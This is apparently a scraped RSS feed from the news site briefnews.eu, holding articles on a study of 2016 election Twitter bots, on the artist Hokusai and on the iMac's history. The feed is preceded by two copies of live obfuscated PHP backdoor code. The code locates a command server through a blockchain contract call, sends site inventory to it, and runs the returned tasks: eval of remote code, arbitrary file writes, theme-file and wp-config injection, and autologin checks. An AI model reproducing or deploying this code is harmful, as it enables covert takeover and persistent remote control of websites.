// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); influential – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Tue, 06 Nov 2018 08:46:26 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.6 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png influential – Brief News https://briefnews.eu 32 32 Clinton bots more talkative & influential than Trump bots around 2016 debates, study finds https://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/ https://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/#respond Tue, 06 Nov 2018 08:46:26 +0000 http://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/

While the popular narrative blames Clinton’s 2016 electoral loss on (Russian) bots, they actually helped her chances, according to a new study finding pro-Clinton bots were more effective at influencing voters than pro-Trump ones.

While there were almost twice as many pro-Trump bots in operation before the 2016 election, the pro-Clinton bots were much more likely to change people’s political opinions because they were much more active, MIT researcher Tauhid Zaman discovered.

Zaman analyzed 2.3 million tweets referencing the second presidential debate and found less than one percent of the accounts involved were bots. He measured the real users’ opinions using two models – one based on their tweets and one on their network of connections – and then remeasured without the inclusion of the bots in the networks. To his surprise (he’s a registered Democrat, according to a disclosure statement that accompanied the study) the average level of support for Clinton dropped from 58 to 42.

The Clinton bots, it turned out, were able to exercise such an outsize influence on their networks because they tweeted on average 1.5 times as often as the Trump bots. The content of the bots’ tweets was roughly the same – retweets of the candidates or other influential users – but the quantity of those retweets had a definite effect.

Zaman cautioned that the results could not be extrapolated to the entire voting population – the research only dealt with a short period of time surrounding the debates and studied a relatively small sample of Twitter users. Still, those in charge of social media “outreach” for candidates can learn a lot from this information – if you’re going to fake a following, fake an enthusiastic following!

While Zaman’s research showed Trump had a higher rate of support among bots, a 2015 analysis using the tool TwitterAudit found Clinton had more fake followers – 41 percent of her total Twitter fans.

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]]> https://briefnews.eu/clinton-bots-more-talkative-influential-than-trump-bots-around-2016-debates-study-finds/feed/ 0 The incredible life and times of Japan’s most influential artist https://briefnews.eu/the-incredible-life-and-times-of-japans-most-influential-artist/ https://briefnews.eu/the-incredible-life-and-times-of-japans-most-influential-artist/#respond Thu, 07 Jun 2018 15:30:51 +0000 http://briefnews.eu/the-incredible-life-and-times-of-japans-most-influential-artist/
Shafik Meghji

Not only did he shape how the world saw Japan through his landscapes, the works by 19th-century artist Katsushika Hokusai continue to inspire today. Shafik Meghji goes on the trail of Japan’s greatest artist.

A few hours after arriving in Japan, jetlagged and slightly disheveled, I climbed a steep flight of steps to the candy-striped Chureito Pagoda in Yamanashi Prefecture for my first glimpse of Mount Fuji.

Despite the distractions of a “Please beware, there is a bear in the area” sign and a gaggle of tourists brandishing selfie sticks, tripods and plastic cherry blossom sprigs to pose beside—the real stuff was not due for a fortnight—the snow-topped volcanic peak was mesmerizing. Although I’d never seen it before, it was immediately familiar.

Like travelers for almost two centuries, the picture of Japan in my head was thanks to Katsushika Hokusai, perhaps the country’s greatest artist. Even if you don’t know the name, you probably know the work. His series of Ukiyo-e—color woodblock prints—Thirty-Six Views of Mount Fuji, produced between 1830 and 1832, show the peak from different angles, at different times of the year, and in different contexts, both realistic and fantastical.

In total, he is estimated to have made some 30,000 pieces of art, an astonishing figure given the hardships he faced. He suffered severe poverty, was struck by lightning at the age of 50, and had a stroke in his 60s. His first wife, second wife and eldest son all died before him, he was lumbered with his grandson’s huge gambling debts, and lost much of his work in a fire at his studio.

It’s perhaps not surprising that he was prone to superstition: every morning he drew a picture of a Chinese lion and then threw it away in an attempt to ward off evil.

RELATED: Snow food: Japan’s unusual Alpine cuisine

According to Hokusai, he only started making art that was “worth taking into account” at an age when most people are contemplating retirement. He produced Thirty-Six Views of Mount Fuji when he was in his 70s, and a decade later, traveled from Edo, now Tokyo, to live in the tranquil town of Obuse, 134 miles (215 kilometers) northwest. This move heralded a remarkable burst of creativity.

The highlights though are two lavishly decorated floats, carved and painted by Hokusai himself. Remarkably, they were used in local festivals until only 40 years ago, when it was decided they’d be preserved for posterity.

While Obuse was his eventual inspiration, Hokusai, who was born in 1760, spent most of his life in the Sumida district of Edo (now Tokyo). Since 2016, the area—whose landmarks feature in many of his early works—has been home to a striking museum dedicated to his art.

RELATED: Inside Tokyo’s capsule hotels

Hokusai started drawing at the age of five, became a wood-carving apprentice at 14, and entered the studio of a Ukiyo-e master at 18. Over the course of a peripatetic life, he moved house 93 times and adopted over 30 different artistic names, including the ‘Old Man Crazy to Paint’. Although most associated with woodblock prints, Hokusai also produced sketches, paintings, illustrations, murals, picture books and even erotica.

Later, I stroll over to the eastern edge of Obuse and the 190-year-old Ganshoin Temple. Few foreign tourists make it here, but those who do are rewarded by one of Hokusai’s greatest works. In the gloomy interior, a ceiling mural of an unfurling phoenix appears luminously bright. The bird has a knowing, almost mischievous expression, its beady eye seemingly following you around the room.

“The phoenix is a symbol of eternal life,” my guide Ayako Furuya explains, “and Hokusai himself believed he would become divine if he lived to 100. He was very health-conscious and exercised every day.”

Sadly, Hokusai only made it to 89. His last words were reputedly: “If heaven will afford me five more years of life, then I’ll manage to become a true artist.”

Back home in London, I still have Hokusai’s images of Japan in my head: Giant crashing waves, Mount Fuji covered in snow, endlessly spiraling phoenixes. But, after seeing first-hand the landscapes that inspired him, those images are now even clearer.

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]]> https://briefnews.eu/the-incredible-life-and-times-of-japans-most-influential-artist/feed/ 0 Apple’s influential, iconic iMac turns 20 https://briefnews.eu/apples-influential-iconic-imac-turns-20/ https://briefnews.eu/apples-influential-iconic-imac-turns-20/#respond Mon, 07 May 2018 01:49:57 +0000 http://briefnews.eu/apples-influential-iconic-imac-turns-20/

There are few individual computer models that have left a lasting mark on the industry, but you can definitely put the iMac on that list. Apple introduced its signature all-in-one desktop at a special event on May 6th, 1998, and it’s safe to say the system has had a lasting impact on technology at large. At the same time, the iMac has also been a symbol of the cultural zeitgeist, including for Apple itself — it shows how the company evolved from an underdog in a Windows world to a behemoth focused more on phones than PCs. The iMac has had a long journey, but it’s worth following to see just how much the industry has changed in the past 20 years.

The original iMac

The very first iMac may seem quaint today with its 15-inch CRT screen, tiny 4GB hard drive and decidedly late ’90s translucent styilng, but at the time it was a minor revolution in… well, just about everything. This was a departure from the beige boxes that defined most PC designs, and it was designed from the ground up for internet access at a time when the feature was still far from ubiquitous — that’s primarily where the “i” in iMac comes from. It also helped usher in the USB era. While USB was certainly available before the iMac, Apple’s complete shift away from legacy ports (combined with Microsoft’s improved USB support in Windows 98) prompted many companies to build USB peripherals and jumpstart adoption of the universal connector.

And it’s no secret that the iMac was instrumental to Apple’s comeback. Its commercial success revitalized Apple after years of business blunders, giving it the financial runway to expand as well as a clear focus: Apple would be focused on ease of use, simplicity and design from here on out. It was also instrumental to the career of legendary designer Jonathan Ive — it was the project that cemented his reputation for minimalist yet memorable products.

iMac G4: Apple gets experimental

New iMac Introduced at Macworld

Apple faced a difficult problem as the original iMac line reached its twilight. How do you follow up on an iconic computer when its defining feature, the tube display, was outdated? For Apple, it was simple: design something even more radical than its predecessor. The 2002-era iMac G4 took its inspiration from a sunflower, putting its then-impressive 15-inch LCD (later models would jump to 17 and 20 inches) on a neck that let the display tilt and swivel while preserving Apple’s all-in-one design.

It wasn’t as big a hit as its predecessor, as high prices and the trailing performance of PowerPC chips did it no favors. However, it was central to Apple’s digital hub strategy (where the Mac was the center of your media creation and playback) and helped spur technological concepts like digital cameras and home movie editing. It also showed that Ive wasn’t afraid to mess with success — one of his defining traits over the past 20 years.

The iMac G5 and Apple’s leap to Intel

Apple Unveils Software To Run Windows XP

The iPod had barely been around for a few months when the iMac G4 arrived, but it had become the star of the show by 2005 — and Apple wanted a computer that was a perfect complement to its popular music player. The result was the iMac G5, a 17- and 20-inch all-in-one that borrowed more than a few pages from the iPod’s design book even as it broke some ground of its own. It brought a much-needed speed boost (Apple finally had a reasonably fast 64-bit CPU in a home machine), but it also introduced the distinctive floating-computer-on-a-stand design that Apple uses for iMacs to this day. Later models also helped popularize desktop webcams and served as Apple’s first experiments with media hubs through its Front Row interface. If you owned an early Apple TV, you could trace its roots back to this machine.

However, many will know this design for another reason: the iMac was Apple’s first production Intel-based machine. The very first x86-based Mac was virtually unchanged on the outside from the iMac G5, but it was both faster and could do things unheard of for any Mac, such as dual-booting Windows. That Apple led its processor switch with the iMac said a lot about both the flexibility of its design (it wasn’t nearly as exotic as the circular iMac G4) its symbolic importance in the lineup.

The aluminum iMac: Apple turns serious

Apple Introduces New Versions Of The iMac Computer And iLife Applications

Up until 2007, iMac designs always had a certain amount of whimsy to them that indicated they were for home users. The aluminum iMac changed all that. Its metal-and-glass design was not only reminiscent of the original iPhone, but decidedly more sober, as if it was destined for your office. Its feature set reflected that, too. Apart from larger 20- and 24-inch screens, the aluminum iMac touted dual-core processors and options for a wireless mouse and keyboard. While the iMac was no longer turning the industry on its ear, it had clearly matured a lot in the space of a decade.

